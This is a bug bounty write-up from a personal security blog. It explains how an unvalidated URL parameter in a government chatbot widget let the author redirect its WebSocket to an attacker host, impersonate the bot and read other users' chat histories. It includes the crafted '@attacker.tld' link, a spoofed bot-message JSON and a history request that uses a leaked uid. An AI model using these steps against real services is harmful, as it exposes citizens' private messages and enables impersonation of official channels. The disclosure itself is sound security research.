> l1ghtn1ng
  • ./blog
  • projects
  • whoami
  • [es]

// stay curious, keep learning and hacking.

© 2026 l1ghtn1ng - all bytes reserved.

user@l1ghtn1ng:~$ cat blog/chatbot-gubernamental-websocket.md

How I intercepted and impersonated a government chatbot by controlling a single parameter

2026-07-19-
  • #BugBounty
  • #write-up
  • #ChatBot

Here's how an unvalidated URL parameter on a government chatbot turned into a full MITM over its WebSocket: I intercepted messages, impersonated the bot, and stole other people's chat history without a session.

The address bar is probably the one thing most people check before trusting a site. If the domain is right, we assume everything happening inside it is right too. This post is about a case where that assumption breaks completely, even though the domain in the bar stays, at every moment, the legitimate one.

I won't name the program because of its disclosure policy. But I will walk you through the full reasoning and the technical path, because that's the part worth taking away.

Context

The target was a government chat widget, the kind that gets embedded into a public agency's website so anyone can send in questions. Small surface: an iframe, a WebSocket connection, and a persistent identity (uid) so the conversation history would survive between visits.

Before touching anything, I opened DevTools, went to Network → WS, and watched how that connection got built from scratch.

Analyzing the JavaScript

Like usually happens when a surface looks too simple, the next step was reviewing the widget's JavaScript. I wanted to understand where that parameter came from and how the WebSocket connection ended up being built.

For this part I used Claude Code as support to analyze the code, since it saves a ton of time and honestly gives really good results.

Thanks to that analysis I found that the client itself used a chat-endpoint parameter to build the WebSocket URL.

And, among other questions, the main one I asked myself was:

If this value defines where the WebSocket connects to... how far can I actually push that?

This kind of parameter usually exists for internal use (different environments, different backends), and it's almost never expected that someone from the outside would touch it. But something not being meant for a certain use doesn't mean it's protected against that use.

The trick that makes it possible

I already knew the client used that parameter without discarding it. What was left was answering the important question: was there any way to modify the connection's destination without breaking the URL?

Testing different values to see how the browser built the final WebSocket URL, I found the detail that made all of this exploitable: if the value started with @, the browser interpreted everything before it as the URL's userinfo (the classic user@host format), and took everything after the @ as the connection's real host.

With a value like:

https://widget.example/?chat-endpoint=@attacker.tld/chat/widget/

the browser ended up building something like:

wss://widget.example@attacker.tld/chat/widget/?uid=...

For the URL parser, the real host of that connection wasn't widget.example, it was attacker.tld.

First tests: hijacking the connection

With that confirmed in theory, I put together the first test case.

Note: to test the attack without involving anyone else, I played the victim myself: I opened the widget the same way any real user would.

  1. I spun up my own host (the WAF blocked typical domains like Burp Collaborator and Interactsh).
  2. I opened the widget with the parameter pointing to that host: ?chat-endpoint=@my-host/chat/widget/.
  3. I opened the chat and watched the WS tab.

The connection was established directly against my attacker server. And in that connection's query string came something I wasn't expecting to find so easily: the victim's persistent uid, traveling in plain text.

In other words, just by getting someone to open a link, they kept seeing the legitimate domain in the address bar, while I already had control over where their chat connected and their persistent identifier.

Exploitation

With the connection to a controlled server confirmed, what was left was simulating a real attacker: not just receiving the connection, but behaving as if I were the legitimate backend.

The browser requires valid TLS for wss://, so I built:

  • A Python server (using websockets) that listened for incoming connections, logged everything it received, and could reply with arbitrary messages mimicking the real bot's format.
  • Cloudflared to expose that server over HTTPS/WSS with a valid certificate (the WAF did let through known tunnel domains like trycloudflare.com).

I repeated the same link, this time pointing at the tunnel, opened the chat, typed a test message... and watched it show up in my script's console.

Interception confirmed!!

220

So, if I could read what the victim typed, could I also make them believe the real bot was replying?

I set up the script so that, on receiving a message, it would reply with a payload in the same format the legitimate bot used:

{
  "type": "markdown",
  "authorType": "bot",
  "messageId": "any-uuid",
  "mode": "chatbot",
  "data": {
    "markdown": "response message controlled by me",
    "__metadata": { "member_id": null }
  }
}

That message rendered in the widget exactly as if it came from the official bot. Same design, same place in the conversation, and the same legitimate domain in the address bar.

560

And yes... there was more

If the above wasn't enough for you, pay attention, because here comes the best part.

With the victim's uid already leaked, one question remained: was that identifier good for anything besides opening a new connection?

I opened a clean WebSocket, with no cookies or prior session, straight to the legitimate endpoint, but including the leaked uid:

wss://widget.example/chat/widget/?uid=<VICTIM-UID>

And sent:

{ "type": "get_history", "data": {} }

The response was the full history of that conversation, with every previous message from both the victim and the bot. The only requirement to read someone else's conversation was knowing the uid, and that uid had leaked on its own, in the very first step.

The real impact

Putting the three pieces together, this stops being "a weird URL parameter" and becomes something a lot more serious:

  • Interception of sensitive data: anything a user typed into the chat (documents, addresses, procedure details) went through an attacker's server first.
  • Full bot impersonation: the fake responses were indistinguishable from the official ones, inside the agency's legitimate domain.
  • Unauthenticated history theft: with the leaked uid, anyone could reconstruct entire third-party conversations without an active session.
  • No victim interaction required: there was no need to download anything or enter credentials anywhere suspicious. A link that, at a glance, pointed to the correct domain was enough.

And that's what makes it truly dangerous: there's no visual indicator that gives the attack away. The domain is the legitimate one, the interface is the legitimate one. The only thing that changed was a parameter in the query string that almost no one looks at.

What I take away from this finding

The most interesting part here wasn't the exploitation itself, but the full chain: a configuration parameter exposed to the client + a behavior in how browsers parse URLs + the absence of an allowlist for the WebSocket's destination.

None of those three things is serious on its own. Together, they build a complete MITM over a channel people assume is safe just because it's on the right domain.

If you're auditing something with WebSockets, check the JS and pay attention to any parameter that ends up defining the connection endpoint (directly or indirectly). And if at some point you see an @ stuffed into a user-controlled value inside a URL, stop for a second and think about what the browser is interpreting as the host.

NOTE: the report was classified with P3 (Medium) severity and marked as duplicate.

<- cd ../blog
  • Context
  • Analyzing the JavaScript
  • The trick that makes it possible
  • First tests: hijacking the connection
  • Exploitation
  • And yes... there was more
  • The real impact
  • What I take away from this finding